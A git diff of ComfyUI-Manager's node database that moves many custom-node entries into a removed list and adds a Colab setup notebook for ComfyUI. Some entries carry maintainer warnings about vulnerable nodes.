"https://github.com/Isi-dev/ComfyUI_DeleteModelPassthrough_ExecutionFlowControl"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Memory management custom node that deletes specific models from VRAM and RAM while passing through other input types unchanged, useful for low-memory environments. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "K1maran",
|
||||
"title": "ComfyUI-Kimaran",
|
||||
@@ -220,16 +911,6 @@
|
||||
"install_type": "git-clone",
|
||||
"description": "Adds a node that outputs the workflow's name as a string\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "PozzettiAndrea",
|
||||
"title": "ComfyUI-CameraAnalysis",
|
||||
"reference": "https://github.com/PozzettiAndrea/ComfyUI-CameraAnalysis",
|
||||
"files": [
|
||||
"https://github.com/PozzettiAndrea/ComfyUI-CameraAnalysis"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Extracts camera intrinsic parameters from image EXIF data."
|
||||
},
|
||||
{
|
||||
"author": "newraina",
|
||||
"title": "comfyui-photoshop-v2 [WIP]",
|
||||
@@ -250,16 +931,6 @@
|
||||
"install_type": "git-clone",
|
||||
"description": "Integrated Qwen-Image node for ComfyUI with all-in-one model loading, 4 LoRA slots, memory optimization via BlockSwap reducing VRAM usage by 30-60%, and multiple quantization options.\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "nohikomiso",
|
||||
"title": "ComfyUI-ImageFolderPicker [UNSAFE]",
|
||||
"reference": "https://github.com/nohikomiso/ComfyUI-ImageFolderPicker",
|
||||
"files": [
|
||||
"https://github.com/nohikomiso/ComfyUI-ImageFolderPicker"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Custom ComfyUI node for browsing local server folders and selecting images via thumbnail display in a grid interface. (Description by CC)[w/This nodepack has a vulnerability that allows it to retrieve a list of files from arbitrary paths.]"
|
||||
},
|
||||
{
|
||||
"author": "tori29umai0123",
|
||||
"title": "ComfyUI-SDXLGenerateFromTextFile [UNSAFE]",
|
||||
@@ -341,15 +1012,16 @@
|
||||
"description": "A slimmed down collection of ComfyUI nodes either from elsewhere, custom creation or updated independently. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "liusida",
|
||||
"author": "Sida Liu",
|
||||
"title": "ComfyUI-Notebook [UNSAFE]",
|
||||
"id": "notebook",
|
||||
"reference": "https://github.com/liusida/ComfyUI-Notebook",
|
||||
"files": [
|
||||
"https://github.com/liusida/ComfyUI-Notebook"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A Jupyter-style custom node for executing Python code within ComfyUI workflows, featuring syntax highlighting, shared variables, and pre-loaded libraries like numpy, torch, and matplotlib.[w/This extension allows remote command execution.]"
|
||||
},
|
||||
"description": "A Jupyter-style custom node for executing Python code and plotting within ComfyUI workflows.[w/This extension allows remote command execution.]"
|
||||
},
|
||||
{
|
||||
"author": "pznodes",
|
||||
"title": "ComfyUI-UniRig [WIP]",
|
||||
@@ -992,16 +1664,6 @@
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI-CC-ImageLoader is an enhanced image loading node designed for ComfyUI. It is developed based on two excellent projects: ComfyUI-Thumbnails and ComfyUI_Local_Media_Manager.[w/This nodepack includes an endpoint that access files from arbitrary paths.]"
|
||||
},
|
||||
{
|
||||
"author": "rzasharp79",
|
||||
"title": "ComfyUI--SolarFlare",
|
||||
"reference": "https://github.com/rzasharp79/ComfyUI--SolarFlare",
|
||||
"files": [
|
||||
"https://github.com/rzasharp79/ComfyUI--SolarFlare"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "NODES: Qwen Image, ..."
|
||||
},
|
||||
{
|
||||
"author": "A1rCHAN",
|
||||
"title": "Eric's Prompt Enhancers for ComfyUI# Eric's Prompt Enhancers for ComfyUI",
|
||||
@@ -1092,16 +1754,6 @@
|
||||
"install_type": "git-clone",
|
||||
"description": "A powerful ComfyUI extension that helps you focus on selected nodes by highlighting their connections while dimming or hiding unrelated links\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "pizurny",
|
||||
"title": "ComfyUI-Just-DWPose [WIP]",
|
||||
"reference": "https://github.com/pizurny/ComfyUI-Just-DWPose",
|
||||
"files": [
|
||||
"https://github.com/pizurny/ComfyUI-Just-DWPose"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "An advanced DWPose annotator for ComfyUI with TorchScript and ONNX backends, featuring comprehensive pose detection, bone validation, temporal smoothing, and custom visualization tools."
|
||||
},
|
||||
{
|
||||
"author": "pizurny",
|
||||
"title": "ComfyUI Feedback Sampler [WIP]",
|
||||
@@ -1132,16 +1784,6 @@
|
||||
"install_type": "git-clone",
|
||||
"description": "NODES: Image Size Input, Date/Time based output path"
|
||||
},
|
||||
{
|
||||
"author": "octapus8085",
|
||||
"title": "OpenAI-comfyui-O",
|
||||
"reference": "https://github.com/Spicely/Comfyui-File-Utils",
|
||||
"files": [
|
||||
"https://github.com/Spicely/Comfyui-File-Utils"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "This plugin provides multiple file-handling and utility nodes for ComfyUI, including: image saving, audio saving, video saving, video composition, audio-to-subtitle conversion, and random number generation nodes. These nodes not only process files but also return their absolute file paths.\nNOTE: The files in the repo are not organized.[w/This nodepack contains a node that has a vulnerability allowing write to arbitrary file paths.]"
|
||||
},
|
||||
{
|
||||
"author": "octapus8085",
|
||||
"title": "OpenAI-comfyui-O",
|
||||
@@ -1532,16 +2174,6 @@
|
||||
"install_type": "git-clone",
|
||||
"description": "NODES: 'Pluto : Auto Crop Faces', 'Pluto : Composite Image', 'Pluto : Float Math', 'Pluto : GetSizeFromImage', 'Pluto : Text Append', ..."
|
||||
},
|
||||
{
|
||||
"author": "lfelipegg",
|
||||
"title": "lfgg_custom_nodes [WIP]",
|
||||
"reference": "https://github.com/lfelipegg/lfgg_custom_nodes",
|
||||
"files": [
|
||||
"https://github.com/lfelipegg/lfgg_custom_nodes"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "NODES: ModelMergeCombos\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "lu64k",
|
||||
"title": "ks_nodes",
|
||||
@@ -4496,16 +5128,6 @@
|
||||
"install_type": "git-clone",
|
||||
"description": "Node for LoRA stack management in ComfyUI\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "fuzr0dah",
|
||||
"title": "comfyui-sceneassembly",
|
||||
"reference": "https://github.com/fuzr0dah/comfyui-sceneassembly",
|
||||
"files": [
|
||||
"https://github.com/fuzr0dah/comfyui-sceneassembly"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A bunch of nodes I created that I also find useful."
|
||||
},
|
||||
{
|
||||
"author": "PabloGrant",
|
||||
"title": "comfyui-giraffe-test-panel",
|
||||
@@ -4557,7 +5179,8 @@
|
||||
"description": "NODES: Face Detector Selector, YC Human Parts Ultra(Advance), Color Match (YC)"
|
||||
},
|
||||
{
|
||||
"author": "virallover",
|
||||
"author": "maizerrr",
|
||||
"title": "comfyui-code-nodes",
|
||||
"reference": "https://github.com/maizerrr/comfyui-code-nodes",
|
||||
"files": [
|
||||
"https://github.com/maizerrr/comfyui-code-nodes"
|
||||
@@ -4815,16 +5438,6 @@
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI implementation of the partfield nvidea segmentation models\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "shinich39",
|
||||
"title": "comfyui-nothing-happened",
|
||||
"reference": "httphttps://github.com/shinich39/comfyui-nothing-happened",
|
||||
"files": [
|
||||
"https://github.com/shinich39/comfyui-nothing-happened"
|
||||
],
|
||||
"description": "Save image and keep metadata.",
|
||||
"install_type": "git-clone"
|
||||
},
|
||||
{
|
||||
"author": "silveroxides",
|
||||
"title": "ComfyUI_ReduxEmbedToolkit",
|
||||
@@ -8117,16 +8730,6 @@
|
||||
"install_type": "git-clone",
|
||||
"description": "Gets a random file from a directory. Returns the filpath as a STRING. [w/This node allows access to arbitrary files through the workflow, which could pose a security threat.]"
|
||||
},
|
||||
{
|
||||
"author": "neeltheninja",
|
||||
"title": "ComfyUI-ControlNeXt [WIP]",
|
||||
"reference": "https://github.com/neverbiasu/ComfyUI-ControlNeXt",
|
||||
"files": [
|
||||
"https://github.com/neverbiasu/ComfyUI-ControlNeXt"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "In progress🚧"
|
||||
},
|
||||
{
|
||||
"author": "neeltheninja",
|
||||
"title": "ComfyUI-TextOverlay",
|
||||
|
||||
+1403
-272
File diff suppressed because it is too large
Load Diff
+1513
-1168
File diff suppressed because it is too large
Load Diff
@@ -1,5 +1,306 @@
|
||||
{
|
||||
"custom_nodes": [
|
||||
{
|
||||
"author": "jkhayiying",
|
||||
"title": "ImageLoadFromLocalOrUrl Node for ComfyUI [REMOVED]",
|
||||
"id": "JkhaImageLoaderPathOrUrl",
|
||||
"reference": "https://gitee.com/yyh915/jkha-load-img",
|
||||
"files": [
|
||||
"https://gitee.com/yyh915/jkha-load-img"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "This is a node to load an image from local path or url."
|
||||
},
|
||||
{
|
||||
"author": "pizurny",
|
||||
"title": "ComfyUI-Just-DWPose [REMOVED]",
|
||||
"reference": "https://github.com/pizurny/ComfyUI-Just-DWPose",
|
||||
"files": [
|
||||
"https://github.com/pizurny/ComfyUI-Just-DWPose"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "An advanced DWPose annotator for ComfyUI with TorchScript and ONNX backends, featuring comprehensive pose detection, bone validation, temporal smoothing, and custom visualization tools."
|
||||
},
|
||||
{
|
||||
"author": "lfelipegg",
|
||||
"title": "lfgg_custom_nodes [REMOVED]",
|
||||
"reference": "https://github.com/lfelipegg/lfgg_custom_nodes",
|
||||
"files": [
|
||||
"https://github.com/lfelipegg/lfgg_custom_nodes"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "NODES: ModelMergeCombos\nNOTE: The files in the repo are not organized."
|
||||
},
|
||||
{
|
||||
"author": "AndSni",
|
||||
"title": "Comfy-FL-Nodes [REMOVED]",
|
||||
"reference": "https://github.com/AndSni/Comfy-FL-Nodes",
|
||||
"files": [
|
||||
"https://github.com/AndSni/Comfy-FL-Nodes"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Generates human characters for commerce applications in ComfyUI. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "neeltheninja",
|
||||
"title": "ComfyUI-ControlNeXt [REMOVED]",
|
||||
"reference": "https://github.com/neverbiasu/ComfyUI-ControlNeXt",
|
||||
"files": [
|
||||
"https://github.com/neverbiasu/ComfyUI-ControlNeXt"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "In progress🚧"
|
||||
},
|
||||
{
|
||||
"author": "TheArtOfficial",
|
||||
"title": "ComfyUI-Nitra [REMOVED]",
|
||||
"reference": "https://github.com/TheArtOfficial/ComfyUI-Nitra",
|
||||
"files": [
|
||||
"https://github.com/TheArtOfficial/ComfyUI-Nitra"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Nitra custom node for ComfyUI"
|
||||
},
|
||||
{
|
||||
"author": "AngelCookies",
|
||||
"title": "ComfyUI-Seed-Tracker [REMOVED]",
|
||||
"reference": "https://github.com/AngelCookies/ComfyUI-Seed-Tracker",
|
||||
"files": [
|
||||
"https://github.com/AngelCookies/ComfyUI-Seed-Tracker"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A ComfyUI extension that tracks random seeds throughout your image generation workflows"
|
||||
},
|
||||
{
|
||||
"author": "shinich39",
|
||||
"title": "comfyui-nothing-happened [REMOVED]",
|
||||
"reference": "httphttps://github.com/shinich39/comfyui-nothing-happened",
|
||||
"files": [
|
||||
"https://github.com/shinich39/comfyui-nothing-happened"
|
||||
],
|
||||
"description": "Save image and keep metadata.",
|
||||
"install_type": "git-clone"
|
||||
},
|
||||
{
|
||||
"author": "ashtar1984",
|
||||
"title": "comfyui-switch-bypass-mute-by-group [REMOVED]",
|
||||
"reference": "https://github.com/ashtar1984/comfyui-switch-bypass-mute-by-group",
|
||||
"files": [
|
||||
"https://github.com/ashtar1984/comfyui-switch-bypass-mute-by-group"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node for group-based node switching, bypassing, and muting control. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "wallen0322",
|
||||
"title": "ComfyUI-TTM-WAN22 [REMOVED]",
|
||||
"reference": "https://github.com/wallen0322/ComfyUI-TTM-WAN22",
|
||||
"files": [
|
||||
"https://github.com/wallen0322/ComfyUI-TTM-WAN22"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "TTM (Time-to-Move) node for ComfyUI enabling motion-controlled video generation with Wan2.2 models using dual-clock denoising for independent background and object animation control."
|
||||
},
|
||||
{
|
||||
"author": "cdanielp",
|
||||
"title": "COMFYUI_PROMPTMODELS [REMOVED]",
|
||||
"reference": "https://github.com/cdanielp/COMFYUI_PROMPTMODELS",
|
||||
"files": [
|
||||
"https://github.com/cdanielp/COMFYUI_PROMPTMODELS"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Custom nodes for ComfyUI by PROMPTMODELS."
|
||||
},
|
||||
{
|
||||
"author": "mcrataobrabo",
|
||||
"title": "comfyui-smart-lora-downloader - Automatically Fetch Missing LoRAs [REMOVED]",
|
||||
"reference": "https://github.com/mcrataobrabo/comfyui-smart-lora-downloader",
|
||||
"files": [
|
||||
"https://github.com/mcrataobrabo/comfyui-smart-lora-downloader"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Automatically detect and download missing LoRAs for ComfyUI workflows"
|
||||
},
|
||||
{
|
||||
"author": "KANAsho34636",
|
||||
"title": "ComfyUI-NaturalSort-ImageLoader [REMOVED]",
|
||||
"reference": "https://github.com/KANAsho34636/ComfyUI-NaturalSort-ImageLoader",
|
||||
"files": [
|
||||
"https://github.com/KANAsho34636/ComfyUI-NaturalSort-ImageLoader"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Custom image loader node supporting natural number sorting with multiple sort modes (natural, lexicographic, modification time, creation time, reverse natural). (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "johninthewinter",
|
||||
"title": "comfyui-fal-flux-2-John [REMOVED]",
|
||||
"reference": "https://github.com/johninthewinter/comfyui-fal-flux-2-John",
|
||||
"files": [
|
||||
"https://github.com/johninthewinter/comfyui-fal-flux-2-John"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Custom nodes for ComfyUI that integrate with fal.ai's FLUX 2 and FLUX 1 LoRA APIs for text-to-image generation."
|
||||
},
|
||||
{
|
||||
"author": "LargeModGames",
|
||||
"title": "ComfyUI LoRA Auto Downloader [REMOVED]",
|
||||
"reference": "https://github.com/LargeModGames/comfyui-smart-lora-downloader",
|
||||
"files": [
|
||||
"https://github.com/LargeModGames/comfyui-smart-lora-downloader"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Automatically download missing LoRAs from CivitAI and detect missing LoRAs in workflows. Features smart directory detection and easy installation."
|
||||
},
|
||||
{
|
||||
"author": "DiffusionWave",
|
||||
"title": "PickResolution_DiffusionWave [DEPRECATED]",
|
||||
"reference": "https://github.com/DiffusionWave/PickResolution_DiffusionWave",
|
||||
"files": [
|
||||
"https://github.com/DiffusionWave/PickResolution_DiffusionWave"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A custom node for ComfyUI that allows selecting a base resolution, applying a custom scaling value based on FLOAT (up to 10 decimal places), and adding an extra integer value. Outputs include both INT and FLOAT resolutions, making it perfect for you to play around with."
|
||||
},
|
||||
{
|
||||
"author": "geltz",
|
||||
"title": "ComfyUI-geltz [REMOVED]",
|
||||
"reference": "https://github.com/geltz/ComfyUI-geltz",
|
||||
"files": [
|
||||
"https://github.com/geltz/ComfyUI-geltz"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Various custom nodes; guidance, latents, sampling, tokenization, etc."
|
||||
},
|
||||
{
|
||||
"author": "anilsathyan7",
|
||||
"title": "ComfyUI-Crystal-Upscaler [REMOVED]",
|
||||
"reference": "https://github.com/anilsathyan7/ComfyUI-Crystal-Upscaler",
|
||||
"files": [
|
||||
"https://github.com/anilsathyan7/ComfyUI-Crystal-Upscaler"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node for image upscaling using crystal upscaling technology. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "nohikomiso",
|
||||
"title": "ComfyUI-ImageFolderPicker [REMOVED/UNSAFE]",
|
||||
"reference": "https://github.com/nohikomiso/ComfyUI-ImageFolderPicker",
|
||||
"files": [
|
||||
"https://github.com/nohikomiso/ComfyUI-ImageFolderPicker"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Custom ComfyUI node for browsing local server folders and selecting images via thumbnail display in a grid interface. (Description by CC)[w/This nodepack has a vulnerability that allows it to retrieve a list of files from arbitrary paths.]"
|
||||
},
|
||||
{
|
||||
"author": "rzasharp79",
|
||||
"title": "ComfyUI--SolarFlare [REMOVED]",
|
||||
"reference": "https://github.com/rzasharp79/ComfyUI--SolarFlare",
|
||||
"files": [
|
||||
"https://github.com/rzasharp79/ComfyUI--SolarFlare"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "NODES: Qwen Image, ..."
|
||||
},
|
||||
{
|
||||
"author": "shinich39",
|
||||
"title": "comfyui-no-one-above-me [REMOVED]",
|
||||
"reference": "https://github.com/shinich39/comfyui-no-one-above-me",
|
||||
"files": [
|
||||
"https://github.com/shinich39/comfyui-no-one-above-me"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Fix node to top."
|
||||
},
|
||||
{
|
||||
"author": "octapus8085",
|
||||
"title": "OpenAI-comfyui-O [REMOVED]",
|
||||
"reference": "https://github.com/Spicely/Comfyui-File-Utils",
|
||||
"files": [
|
||||
"https://github.com/Spicely/Comfyui-File-Utils"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "This plugin provides multiple file-handling and utility nodes for ComfyUI, including: image saving, audio saving, video saving, video composition, audio-to-subtitle conversion, and random number generation nodes. These nodes not only process files but also return their absolute file paths.\nNOTE: The files in the repo are not organized.[w/This nodepack contains a node that has a vulnerability allowing write to arbitrary file paths.]"
|
||||
},
|
||||
{
|
||||
"author": "yemanou",
|
||||
"title": "NABA Image (Gemini REST) Node [REMOVED]",
|
||||
"reference": "https://github.com/yemanou/ComfyUI-NABA",
|
||||
"files": [
|
||||
"https://github.com/yemanou/ComfyUI-NABA"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Simplified Gemini 2.5 Flash Image Preview node for ComfyUI. REST-only for stability, two optional reference images, padded aspect ratio resizing (no stretching), and basic sampling controls. All extra debug layers, SDK path, multi-seed, and legacy compatibility code removed to avoid crashes."
|
||||
},
|
||||
{
|
||||
"author": "comrender",
|
||||
"title": "ComfyUI-Nano-Banana-Resizer [REMOVED]",
|
||||
"reference": "https://github.com/comrender/ComfyUI-Nano-Banana-Resizer",
|
||||
"files": [
|
||||
"https://github.com/comrender/ComfyUI-Nano-Banana-Resizer"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A ComfyUI custom node that automatically calculates optimal output dimensions for Google's Nano Banana image editing model, supporting 22 aspect ratio buckets and ensuring pixel-perfect outputs without shifting or cropping."
|
||||
},
|
||||
{
|
||||
"author": "comrender",
|
||||
"title": "ComfyUI-edge-match-checker [REMOVED]",
|
||||
"reference": "https://github.com/comrender/ComfyUI-edge-match-checker",
|
||||
"files": [
|
||||
"https://github.com/comrender/ComfyUI-edge-match-checker"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Node comparing two image masks or images with adjustable overlap threshold (default 95%) for detecting minor shifts and mismatches in proportions, suitable for automated post-processing validation. (Description by CC)"
|
||||
},
|
||||
{
|
||||
"author": "comrender",
|
||||
"title": "ComfyUI-gpt5_image_text [REMOVED]",
|
||||
"reference": "https://github.com/comrender/ComfyUI-gpt5_image_text",
|
||||
"files": [
|
||||
"https://github.com/comrender/ComfyUI-gpt5_image_text"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A ComfyUI custom node for vision + text analysis using GPT-5 and GPT-4o with direct API key input, system prompt, temperature, max tokens, and multi-image support."
|
||||
},
|
||||
{
|
||||
"author": "PozzettiAndrea",
|
||||
"title": "ComfyUI-CameraAnalysis [REMOVED]",
|
||||
"reference": "https://github.com/PozzettiAndrea/ComfyUI-CameraAnalysis",
|
||||
"files": [
|
||||
"https://github.com/PozzettiAndrea/ComfyUI-CameraAnalysis"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Extracts camera intrinsic parameters from image EXIF data."
|
||||
},
|
||||
{
|
||||
"author": "fuzr0dah",
|
||||
"title": "comfyui-sceneassembly [REMOVED]",
|
||||
"reference": "https://github.com/fuzr0dah/comfyui-sceneassembly",
|
||||
"files": [
|
||||
"https://github.com/fuzr0dah/comfyui-sceneassembly"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A bunch of nodes I created that I also find useful."
|
||||
},
|
||||
{
|
||||
"author": "rslosch",
|
||||
"title": "ComfyUI-EZ_Prompts [REMOVED]",
|
||||
"reference": "https://github.com/rslosch/ComfyUI-EZ_Prompts",
|
||||
"files": [
|
||||
"https://github.com/rslosch/ComfyUI-EZ_Prompts"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A ComfyUI custom node extension that provides easy-to-use prompt templates and wildcards for AI image generation."
|
||||
},
|
||||
{
|
||||
"author": "hvppycoding",
|
||||
"title": "hvppyflow [REMOVED]",
|
||||
"reference": "https://github.com/hvppycoding/hvppyflow",
|
||||
"files": [
|
||||
"https://github.com/hvppycoding/hvppyflow"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI nodes for Automated Workflow"
|
||||
},
|
||||
{
|
||||
"author": "cedarconnor",
|
||||
"title": "ComfyUI-GEN3C-Gsplat [REMOVED]",
|
||||
|
||||
+531
-477
File diff suppressed because it is too large
Load Diff
+4110
-632
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,373 @@
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"metadata": {
|
||||
"id": "aaaaaaaaaa"
|
||||
},
|
||||
"source": [
|
||||
"Git clone the repo and install the requirements. (ignore the pip errors about protobuf)"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"metadata": {
|
||||
"id": "bbbbbbbbbb"
|
||||
},
|
||||
"outputs": [],
|
||||
"source": [
|
||||
"# #@title Environment Setup\n",
|
||||
"\n",
|
||||
"from pathlib import Path\n",
|
||||
"\n",
|
||||
"OPTIONS = {}\n",
|
||||
"\n",
|
||||
"USE_GOOGLE_DRIVE = True #@param {type:\"boolean\"}\n",
|
||||
"UPDATE_COMFY_UI = True #@param {type:\"boolean\"}\n",
|
||||
"USE_COMFYUI_MANAGER = True #@param {type:\"boolean\"}\n",
|
||||
"INSTALL_CUSTOM_NODES_DEPENDENCIES = True #@param {type:\"boolean\"}\n",
|
||||
"OPTIONS['USE_GOOGLE_DRIVE'] = USE_GOOGLE_DRIVE\n",
|
||||
"OPTIONS['UPDATE_COMFY_UI'] = UPDATE_COMFY_UI\n",
|
||||
"OPTIONS['USE_COMFYUI_MANAGER'] = USE_COMFYUI_MANAGER\n",
|
||||
"OPTIONS['INSTALL_CUSTOM_NODES_DEPENDENCIES'] = INSTALL_CUSTOM_NODES_DEPENDENCIES\n",
|
||||
"\n",
|
||||
"current_dir = !pwd\n",
|
||||
"WORKSPACE = f\"{current_dir[0]}/ComfyUI\"\n",
|
||||
"\n",
|
||||
"if OPTIONS['USE_GOOGLE_DRIVE']:\n",
|
||||
" !echo \"Mounting Google Drive...\"\n",
|
||||
" %cd /\n",
|
||||
"\n",
|
||||
" from google.colab import drive\n",
|
||||
" drive.mount('/content/drive')\n",
|
||||
"\n",
|
||||
" WORKSPACE = \"/content/drive/MyDrive/ComfyUI\"\n",
|
||||
" %cd /content/drive/MyDrive\n",
|
||||
"\n",
|
||||
"![ ! -d $WORKSPACE ] && echo -= Initial setup ComfyUI =- && git clone https://github.com/comfyanonymous/ComfyUI\n",
|
||||
"%cd $WORKSPACE\n",
|
||||
"\n",
|
||||
"if OPTIONS['UPDATE_COMFY_UI']:\n",
|
||||
" !echo -= Updating ComfyUI =-\n",
|
||||
"\n",
|
||||
" # Correction of the issue of permissions being deleted on Google Drive.\n",
|
||||
" ![ -f \".ci/nightly/update_windows/update_comfyui_and_python_dependencies.bat\" ] && chmod 755 .ci/nightly/update_windows/update_comfyui_and_python_dependencies.bat\n",
|
||||
" ![ -f \".ci/nightly/windows_base_files/run_nvidia_gpu.bat\" ] && chmod 755 .ci/nightly/windows_base_files/run_nvidia_gpu.bat\n",
|
||||
" ![ -f \".ci/update_windows/update_comfyui_and_python_dependencies.bat\" ] && chmod 755 .ci/update_windows/update_comfyui_and_python_dependencies.bat\n",
|
||||
" ![ -f \".ci/update_windows_cu118/update_comfyui_and_python_dependencies.bat\" ] && chmod 755 .ci/update_windows_cu118/update_comfyui_and_python_dependencies.bat\n",
|
||||
" ![ -f \".ci/update_windows/update.py\" ] && chmod 755 .ci/update_windows/update.py\n",
|
||||
" ![ -f \".ci/update_windows/update_comfyui.bat\" ] && chmod 755 .ci/update_windows/update_comfyui.bat\n",
|
||||
" ![ -f \".ci/update_windows/README_VERY_IMPORTANT.txt\" ] && chmod 755 .ci/update_windows/README_VERY_IMPORTANT.txt\n",
|
||||
" ![ -f \".ci/update_windows/run_cpu.bat\" ] && chmod 755 .ci/update_windows/run_cpu.bat\n",
|
||||
" ![ -f \".ci/update_windows/run_nvidia_gpu.bat\" ] && chmod 755 .ci/update_windows/run_nvidia_gpu.bat\n",
|
||||
"\n",
|
||||
" !git pull\n",
|
||||
"\n",
|
||||
"!echo -= Install dependencies =-\n",
|
||||
"!pip3 install accelerate\n",
|
||||
"!pip3 install einops transformers>=4.28.1 safetensors>=0.4.2 aiohttp pyyaml Pillow scipy tqdm psutil tokenizers>=0.13.3\n",
|
||||
"!pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu121\n",
|
||||
"!pip3 install torchsde\n",
|
||||
"!pip3 install kornia>=0.7.1 spandrel soundfile sentencepiece\n",
|
||||
"\n",
|
||||
"if OPTIONS['USE_COMFYUI_MANAGER']:\n",
|
||||
" %cd custom_nodes\n",
|
||||
"\n",
|
||||
" # Correction of the issue of permissions being deleted on Google Drive.\n",
|
||||
" ![ -f \"ComfyUI-Manager/check.sh\" ] && chmod 755 ComfyUI-Manager/check.sh\n",
|
||||
" ![ -f \"ComfyUI-Manager/scan.sh\" ] && chmod 755 ComfyUI-Manager/scan.sh\n",
|
||||
" ![ -f \"ComfyUI-Manager/node_db/dev/scan.sh\" ] && chmod 755 ComfyUI-Manager/node_db/dev/scan.sh\n",
|
||||
" ![ -f \"ComfyUI-Manager/node_db/tutorial/scan.sh\" ] && chmod 755 ComfyUI-Manager/node_db/tutorial/scan.sh\n",
|
||||
" ![ -f \"ComfyUI-Manager/scripts/install-comfyui-venv-linux.sh\" ] && chmod 755 ComfyUI-Manager/scripts/install-comfyui-venv-linux.sh\n",
|
||||
" ![ -f \"ComfyUI-Manager/scripts/install-comfyui-venv-win.bat\" ] && chmod 755 ComfyUI-Manager/scripts/install-comfyui-venv-win.bat\n",
|
||||
"\n",
|
||||
" ![ ! -d ComfyUI-Manager ] && echo -= Initial setup ComfyUI-Manager =- && git clone https://github.com/ltdrdata/ComfyUI-Manager\n",
|
||||
" %cd ComfyUI-Manager\n",
|
||||
" !git pull\n",
|
||||
"\n",
|
||||
"%cd $WORKSPACE\n",
|
||||
"\n",
|
||||
"if OPTIONS['INSTALL_CUSTOM_NODES_DEPENDENCIES']:\n",
|
||||
" !echo -= Install custom nodes dependencies =-\n",
|
||||
" !pip install GitPython\n",
|
||||
" !python custom_nodes/ComfyUI-Manager/cm-cli.py restore-dependencies\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"metadata": {
|
||||
"id": "cccccccccc"
|
||||
},
|
||||
"source": [
|
||||
"Download some models/checkpoints/vae or custom comfyui nodes (uncomment the commands for the ones you want)"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"metadata": {
|
||||
"id": "dddddddddd"
|
||||
},
|
||||
"outputs": [],
|
||||
"source": [
|
||||
"# Checkpoints\n",
|
||||
"\n",
|
||||
"### SDXL\n",
|
||||
"### I recommend these workflow examples: https://comfyanonymous.github.io/ComfyUI_examples/sdxl/\n",
|
||||
"\n",
|
||||
"#!wget -c https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_base_1.0.safetensors -P ./models/checkpoints/\n",
|
||||
"#!wget -c https://huggingface.co/stabilityai/stable-diffusion-xl-refiner-1.0/resolve/main/sd_xl_refiner_1.0.safetensors -P ./models/checkpoints/\n",
|
||||
"\n",
|
||||
"# SDXL ReVision\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/clip_vision_g/resolve/main/clip_vision_g.safetensors -P ./models/clip_vision/\n",
|
||||
"\n",
|
||||
"# SD1.5\n",
|
||||
